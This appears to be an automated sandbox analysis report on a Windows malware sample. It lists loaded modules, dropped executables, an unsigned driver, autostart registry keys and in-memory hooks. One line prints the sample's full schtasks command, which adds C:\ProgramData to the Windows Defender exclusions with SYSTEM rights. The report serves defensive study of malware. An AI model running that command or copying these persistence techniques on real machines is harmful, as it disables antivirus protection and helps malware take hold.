Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: vselog.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: vselog.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: cscui.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: workfoldersshell.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: usermgrproxy.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: tbcore3u.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: devenum.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: tbcore3u.dll
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Section loaded: tbcore3u.dll
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Section loaded: tbcore3u.dll
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Section loaded: tbcore3u.dll
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Section loaded: tbcore3u.dll

Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Documents\EMp3o1.exe

File written: C:\Users\Public\Music\destopbak.ini

Jump to behavior

Source: 2b687482300.6345827638.08.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: 2b687482300.6345827638.08.exe

Static file information: File size 30883840 > 1048576

Source: 2b687482300.6345827638.08.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x1d58200

Source: 2b687482300.6345827638.08.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: d:\work\iGiveButton\toolbar4\Release_bin\uninstall.pdb source: G5CQjd.exe, 00000028.00000000.3437121582.0000000000718000.00000002.00000001.01000000.0000000A.sdmp, G5CQjd.exe, 00000029.00000002.3482527026.0000000000718000.00000002.00000001.01000000.0000000A.sdmp, G5CQjd.exe, 00000029.00000000.3464191213.0000000000718000.00000002.00000001.01000000.0000000A.sdmp, Cy9OUo.exe, 0000002A.00000000.3469206986.00000000001F8000.00000002.00000001.01000000.0000000C.sdmp, Cy9OUo.exe, 0000002A.00000002.3484346566.00000000001F8000.00000002.00000001.01000000.0000000C.sdmp, Cy9OUo.exe, 0000002D.00000002.3499578790.00000000001F8000.00000002.00000001.01000000.0000000C.sdmp, Cy9OUo.exe, 0000002D.00000000.3491990756.00000000001F8000.00000002.00000001.01000000.0000000C.sdmp, Cy9OUo.exe, 0000002E.00000000.3579031648.00000000001F8000.00000002.00000001.01000000.0000000C.sdmp, Cy9OUo.exe, 0000002E.00000002.3594006751.00000000001F8000.00000002.00000001.01000000.0000000C.sdmp, G5CQjd.exe, 0000002F.00000002.3596772792.0000000000718000.00000002.00000001.01000000.0000000A.sdmp, G5CQjd.exe, 0000002F.00000000.3584367115.0000000000718000.00000002.00000001.01000000.0000000A.sdmp, G5CQjd.exe.6.dr, Cy9OUo.exe.40.dr
Source:	Binary string: c:\tools_git_priv\truesight\driver\objfre_win7_amd64\amd64\TrueSight.pdb source: 189atohci.sys.0.dr
Source:	Binary string: y:\avsdk5\user\make\build\public\64-bit\vseamps.pdb source: 2b687482300.6345827638.08.exe, 00000000.00000003.2622438995.00000000048DB000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622589579.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2659884614.00000000048E0000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622681734.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, 2b687482300.6345827638.08.exe, 00000000.00000003.2622615056.00000000048E4000.00000004.00000020.00020000.00000000.sdmp, EMp3o1.exe, 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmp, EMp3o1.exe, 00000005.00000000.2758749263.0000000140014000.00000002.00000001.01000000.00000008.sdmp, EMp3o1.exe, 00000006.00000000.2978571160.0000000140014000.00000002.00000001.01000000.00000008.sdmp, EMp3o1.exe.0.dr

Source: C:\Users\user\Documents\EMp3o1.exe

Code function: 5_2_000000014000F000 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

5_2_000000014000F000

Source: initial sample

Static PE information: section where entry point is pointing to: .mo:

Source: tbcore3U.dll.6.dr	Static PE information: section name: .%?.
Source: tbcore3U.dll.6.dr	Static PE information: section name: .%-[
Source: tbcore3U.dll.6.dr	Static PE information: section name: .mo:
Source: tbcore3U.dll.40.dr	Static PE information: section name: .%?.
Source: tbcore3U.dll.40.dr	Static PE information: section name: .%-[
Source: tbcore3U.dll.40.dr	Static PE information: section name: .mo:

Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Code function: 41_2_00712691 push ecx; ret		41_2_007126A4
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Code function: 42_2_001F2691 push ecx; ret		42_2_001F26A4

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	File created: C:\Users\user\Documents\vselog.dll			Jump to dropped file
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	File created: C:\Users\user\Documents\EMp3o1.exe			Jump to dropped file

Sample is not signed and drops a device driver

Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe

File created: C:\Windows\System32\drivers\189atohci.sys

Jump to behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior

Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	File created: C:\Windows\System32\drivers\189atohci.sys	Jump to dropped file
Source: C:\Users\user\Documents\EMp3o1.exe	File created: C:\Program Files (x86)\G5CQjd\tbcore3U.dll	Jump to dropped file
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	File created: C:\Program Files (x86)\E2ky7uqb\tbcore3U.dll	Jump to dropped file
Source: C:\Users\user\Documents\EMp3o1.exe	File created: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	File created: C:\Users\user\Documents\vselog.dll	Jump to dropped file
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	File created: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Jump to dropped file
Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe	File created: C:\Users\user\Documents\EMp3o1.exe	Jump to dropped file

Source: C:\Users\user\Desktop\2b687482300.6345827638.08.exe

File created: C:\Windows\System32\drivers\189atohci.sys

Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Key value created or modified: HKEY_CURRENT_USER\System\CurrentControlSet\Services\Sauron Groupfenzhu			Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Key value created or modified: HKEY_CURRENT_USER\System\CurrentControlSet\Services\Sauron Groupfenzhu			Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"

Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe

Registry key created: HKEY_CURRENT_USER\System\CurrentControlSet\Services\Sauron

Jump to behavior

Source: C:\Users\user\Documents\EMp3o1.exe

5_2_0000000140001520

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Documents\EMp3o1.exe	Memory written: PID: 5956 base: 7FFDB4590008 value: E9 EB D9 E9 FF	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Memory written: PID: 5956 base: 7FFDB442D9F0 value: E9 20 26 16 00	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Memory written: PID: 6032 base: 7FFDB4590008 value: E9 EB D9 E9 FF	Jump to behavior
Source: C:\Users\user\Documents\EMp3o1.exe	Memory written: PID: 6032 base: 7FFDB442D9F0 value: E9 20 26 16 00	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Memory written: PID: 4548 base: C90005 value: E9 8B 2F 6F 76	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Memory written: PID: 4548 base: 77382F90 value: E9 7A D0 90 89	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Memory written: PID: 4548 base: FF0005 value: E9 8B 2F 39 76	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Memory written: PID: 4548 base: 77382F90 value: E9 7A D0 C6 89	Jump to behavior
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Memory written: PID: 6888 base: 880005 value: E9 8B 2F B0 76
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Memory written: PID: 6888 base: 77382F90 value: E9 7A D0 4F 89
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Memory written: PID: 3660 base: 10E0005 value: E9 8B 2F 2A 76
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Memory written: PID: 3660 base: 77382F90 value: E9 7A D0 D5 89
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Memory written: PID: 2496 base: 1180005 value: E9 8B 2F 20 76
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Memory written: PID: 2496 base: 77382F90 value: E9 7A D0 DF 89
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Memory written: PID: 5056 base: FD0005 value: E9 8B 2F 3B 76
Source: C:\Program Files (x86)\E2ky7uqb\Cy9OUo.exe	Memory written: PID: 5056 base: 77382F90 value: E9 7A D0 C4 89
Source: C:\Program Files (x86)\G5CQjd\G5CQjd.exe	Memory written: PID: 720 base: D60005 value: E9 8B 2F 62 76
